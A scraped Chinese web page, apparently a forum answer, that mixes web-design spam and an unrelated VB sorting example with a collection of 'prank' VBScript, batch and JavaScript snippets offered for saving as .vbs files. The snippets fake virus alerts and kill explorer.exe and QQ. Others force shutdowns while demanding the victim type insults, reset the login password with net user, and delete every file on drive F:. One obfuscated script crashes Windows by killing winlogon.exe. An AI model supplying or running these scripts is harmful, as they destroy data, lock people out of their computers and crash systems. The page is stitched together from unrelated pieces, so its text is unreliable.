放一個timer,名為timer1
鄭州網站建設公司創(chuàng)新互聯(lián),鄭州網站設計制作，有大型網站制作公司豐富經驗。已為鄭州成百上千家提供企業(yè)網站建設服務。企業(yè)網站搭建\成都外貿網站建設公司要多少錢，請找那個售后服務好的鄭州做網站的公司定做！
Private Sub Form_Load()
Me.Visible = False
Timer1.Interval = 10*1000
End Sub
Private Sub Timer1_Timer()
msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴重錯誤！",16+4096,"警告"
msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴重錯誤！",16+4096,"警告"
msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴重錯誤！",16+4096,"警告"
msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴重錯誤！",16+4096,"警告"
msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴重錯誤！",16+4096,"警告"
'可以多復制幾個 msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴重錯誤！",16+4096,"警告"
End Sub
gsh=msgbox ("已經準備好格式化，準備開始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "開始格式化…… 哈哈！嚇暈了吧，騙你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows發(fā)現(xiàn)一重要更新，將自動下載。"
wscript.sleep 3000
msgbox "系統(tǒng)檢測到WINDOWS更新中捆綁有不明插件SXS.exe,是否對其掃描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"發(fā)行者 田間的菜鳥 "+chr(13)+"安全評級 高危"+chr(13)+"建議 直接刪除"+chr(13)+"病毒類型：木馬",,"windows掃描附件"
msgbox "是否阻止其安裝？",vbyesno
wscript.sleep 3000
msgbox "阻止失?。≌垯z查防火墻是否開啟！"
wscript.sleep 5000
msgbox "正在嘗試強行刪除…"
wscript.sleep 5000
msgbox "失??！"
wscript.sleep 5000
msgbox "您的電腦已陷入危險之中，請趕快掃描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高興見到你！"
wscript.sleep 3000
msgbox "您的電腦可能已經感染病毒！",,"WINDOWS防火墻警告"
wscript.sleep 3000
msgbox "我控制你的電腦了！"
wscript.sleep 3000
msgbox "不信？那我給你關機看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "幫你解除關機……"
s.run "shutdown -a"
msgbox "再給你打開記事本寫封信，勸你最好別動，要不然會引起系統(tǒng)混亂~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：剛才的“病毒”是假的，只不過是嚇你玩玩~"
s.run "explorer"
”
vb2010寫的：
Private?Sub?Button7_Click(ByVal?sender?As?System.Object,?ByVal?e?As?System.EventArgs)?Handles?Button7.Click
Dim?str?As?String?=?""
Dim?a(30)?As?Integer
Dim?temp?As?Integer
str?=?str??"生成的30個隨機數字是?"??vbCrLf
For?i?=?1?To?30
a(i)?=?Int(Rnd()?*?50?+?1)
str?=?str??a(i)??"?"
If?i?Mod?10?=?0?Then
str?=?str??vbCrLf
End?If
Next
str?=?str??vbCrLf
For?i?=?1?To?30
For?j?=?1?To?30?-?i
If?a(j)??a(j?+?1)?Then
temp?=?a(j?+?1)
a(j?+?1)?=?a(j)
a(j)?=?temp
End?If
Next?j
Next?i
str?=?str??"排序后的數字是?"??vbCrLf
For?i?=?1?To?30
str?=?str??a(i)??"?"
If?i?Mod?10?=?0?Then
str?=?str??vbCrLf
End?If
Next
TextBox6.Text?=?str
End?Sub
運行結果：
生成的30個隨機數字是
36 27 29 15 16 39 1 39 41 36
3 21 44 40 19 49 44 3 48 19
27 39 3 30 24 15 32 33 14 14
排序后的數字是
49 48 44 44 41 40 39 39 39 36
36 33 32 30 29 27 27 24 21 19
19 16 15 15 14 14 3 3 3 1
---------------------------------------------------------------------
代碼:
Set ws=WScript.CreateObject("WScript.Shell")
ws.popup"大家好，我就是改變社會風氣，風魔萬千少女，刺激電影市道，提高年輕人內涵，",10,"閃亮登場",64
ws.popup"玉樹臨風，風度翩翩的……“咕?！緡！保缓靡馑?，我內急先閃了，再見！",15,"farewell",64
wscript.sleep 100000
ws.popup"發(fā)現(xiàn)重要windows更新未安裝，系統(tǒng)將自動下載更新并安裝",10
ws.popup"正在下載windows更新……",12
wscript.sleep 10000
ws.popup"windows更新已下載完畢，正在安裝更新……",12
wscript.sleep 3000
msgbox"系統(tǒng)檢測到WINDOWS更新中攜帶有不明軟件 comcontroler.exe ，并在強行嵌入你的電腦",4132,"是否對其進行掃描？"
msgbox"軟件名：comcontroler.exe "vbcrlf""vbcrlf" 大小：1.21MB "vbcrlf""vbcrlf" 發(fā)行者：幻想丶永恒（403746401）"vbcrlf""vbcrlf" 安全狀況：有病毒",vbinformation
msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安裝"
msgbox"阻止失敗，請檢查防火墻是否開啟"
wscript.sleep 15000
ws.popup"windows更新安裝成功！",vbinfmation,20
msgbox"您的電腦可能已被入侵，請盡快修改您的QQ密碼及其他機密資料,以免QQ被盜或丟失資料",vbinformation
ws.popup"哈哈，我已經控制了你的電腦！",12,"很高興見到你",64
ws.popup"不信？我用你的電腦打開我的QQ空間給你看看",10
ws.run""
msgbox"警告：為了您的電腦安全，請盡快安裝使用殺毒軟件對系統(tǒng)進行全面殺毒",vbinformation
ws.popup"我再打開中國神泣官方網站",10
ws.run""
ws.popup"現(xiàn)在相信了吧？我再打開你的記事本給你寫封英語信",20
ws.popup"記事本會被打開并最大化，這時你不要動，千萬別把目標轉移到其他窗口，耐心看我把信寫完。否則引起系統(tǒng)混亂我可不負責！"
ws.run "notepad",3 : wscript.sleep 2000
verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",")
---------------------------------------------------------------------
代碼2:
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"TSName)
WScript.Echo("你是可愛的XX童鞋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎么才來，說~是不是不關心我")
WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")
WScript.Echo("夜黑很生氣，后果很嚴重哦。")
WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點上100下哦，不過會給你驚喜滴")
WScript.Echo("還剩100下，快點點哦")
WScript.Echo("還剩99下，快點，小笨蛋！")
WScript.Echo("還剩98下對，就這樣快點點！")
WScript.Echo("還剩97下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩96下，記得要快哦！")
WScript.Echo("還剩95下")
WScript.Echo("還剩94下")
WScript.Echo("還剩93下")
WScript.Echo("還剩92下")
WScript.Echo("還剩91下")
WScript.Echo("還剩90下")
WScript.Echo("還剩89下")
WScript.Echo("還剩88下")
WScript.Echo("還剩87下")
WScript.Echo("還剩86下")
WScript.Echo("還剩85下")
WScript.Echo("還剩84下")
WScript.Echo("還剩83下")
WScript.Echo("還剩82下")
WScript.Echo("還剩81下")
WScript.Echo("還剩80下")
WScript.Echo("還剩79下")
WScript.Echo("還剩78下")
WScript.Echo("還剩77下")
WScript.Echo("還剩76下")
WScript.Echo("還剩75下")
WScript.Echo("還剩74下")
WScript.Echo("還剩73下")
WScript.Echo("還剩72下")
WScript.Echo("還剩71下")
WScript.Echo("還剩70下")
WScript.Echo("還剩69下")
WScript.Echo("還剩68下")
WScript.Echo("還剩67下")
WScript.Echo("還剩66下")
WScript.Echo("還剩65下")
WScript.Echo("還剩64下")
WScript.Echo("還剩63下")
WScript.Echo("還剩62下")
WScript.Echo("還剩61下")
WScript.Echo("還剩60下")
WScript.Echo("還剩59下")
WScript.Echo("還剩58下")
WScript.Echo("還剩57下")
WScript.Echo("還剩56下")
WScript.Echo("還剩55下")
WScript.Echo("還剩54下")
WScript.Echo("還剩53下")
WScript.Echo("還剩52下")
WScript.Echo("還剩51下")
WScript.Echo("還剩50下")
WScript.Echo("還剩49下")
WScript.Echo("還剩48下")
WScript.Echo("還剩47下")
WScript.Echo("還剩46下")
WScript.Echo("還剩45下")
WScript.Echo("還剩44下")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩31下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下")
WScript.Echo("還剩12下")
WScript.Echo("還剩11下")
WScript.Echo("還剩10下")
WScript.Echo("還剩9下")
WScript.Echo("還剩8下")
WScript.Echo("還剩7下")
WScript.Echo("還剩6下")
WScript.Echo("還剩5下")
WScript.Echo("還剩4下")
WScript.Echo("還剩3下")
WScript.Echo("還剩2下")
WScript.Echo("還剩1下")
WScript.Echo("還剩0下")
WScript.Echo("哎看你可憐，饒了你吧")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下")
WScript.Echo("還剩下停停?。。÷c，我有話要說")
WScript.Echo("還剩下，你繼續(xù)點我就會消失滴")
WScript.Echo("還剩下，以后就看不到我拉。嗚嗚~555555")
WScript.Echo("還剩下，你現(xiàn)在可以選擇停止！")
WScript.Echo("還剩下。你還點啊，不要我拉？")
WScript.Echo("還剩下，有點傷心拉，干嘛丟棄人家")
WScript.Echo("還剩下。瘋了，你有點負意！")
WScript.Echo("還剩下。對。你就點吧，我恨你！")
WScript.Echo("還剩下，不明白，刪除我你就好嗎？")
WScript.Echo("還剩下！真要刪除我？")
WScript.Echo("還剩下。可是我真的很眷戀你。。。")
WScript.Echo("還剩下。不要這么絕情嘛，人家是愛你的！")
WScript.Echo("還剩下。哼，既然你這么絕情。也別怪我無義?。?！")
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，萬能的上帝又給了一次機會。")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
---------------------------------------------------------------------
藍屏代碼:
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-
13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runnerchr(strs(i))
next
Execute runner
---------------------------------------------------------------------
掉qq：
taskkill /im qq.exe /f /t
---------------------------------------------------------------------
10秒強制關機（任務管理器無效）：
shutdown -s -t 10
---------------------------------------------------------------------
死機：
start cmd
0%
---------------------------------------------------------------------
設置登錄密碼為2010：
net user "%username%" 2010
---------------------------------------------------------------------
讓電腦只剩一個背景
taskkill /im /f /t explorer.exe
---------------------------------------------------------------------
莫名其妙結束當前程序:
set ws=createobject("wscript.shell")
do
ws.sendkeys "%{f4}"
loop
---------------------------------------------------------------------
不斷提示你是豬:
do
msgbox("你是豬")
loop
---------------------------------------------------------------------
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說 我是大笨笨！哈哈，不說我就一分鐘關你機，不信，試試···我說到做到！"" ",0 ,true
dim a
do while(a "我是大笨蛋！哈哈！我是大肥豬！")
a = inputbox ("說 我是大笨蛋！哈哈！我是大肥豬！,我就不關你的機，快撒，說 ""我是大笨笨！哈哈"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛 豬"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮 嘎嘎.爽歪歪啊 "
---------------------------------------------------------------------
“我是畜生”:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""說我是畜生，不說就20秒關你機，不信，試試···"" ",0 ,true
dim a
do while(a "我是畜生")
a = inputbox ("說我是畜生,就不關機，快撒，說 ""我是畜生"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"
---------------------------------------------------------------------
10秒關機:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""你被耍了"" ",0 ,true
---------------------------------------------------------------------
刷對話框:
do
msgbox("你被耍了")
loop
---------------------------------------------------------------------
直接關機:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s ",0 ,true
---------------------------------------------------------------------一分鐘彈出一次:
do until i=10
i=i+1
msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴重誤！",16+4096,"系統(tǒng)提示"
wscript.sleep 1000*60 '時間可以自己改
loop
---------------------------------------------------------------------script language="javascript"
function hr(){
alert('你關不掉的^_^')
hr();
}
/script
body onLoad="hr()"
/body
---------------------------------------------------------------------do while(1)
msgbox "你死定了！"
loop
還有更多的?。?/p>
---------------------------------------------------------------------
刪除F:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true
---------------------------------------------------------------------
不斷按下alt+f4 （開什么都關閉……） :
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
---------------------------------------------------------------------
注意：分割線之間為一個代碼，復制進TXT文檔，另存為.vbs或.vbe，望樓主采納?。?！ Q群：108141490 --村長
重慶分公司
重慶分公司
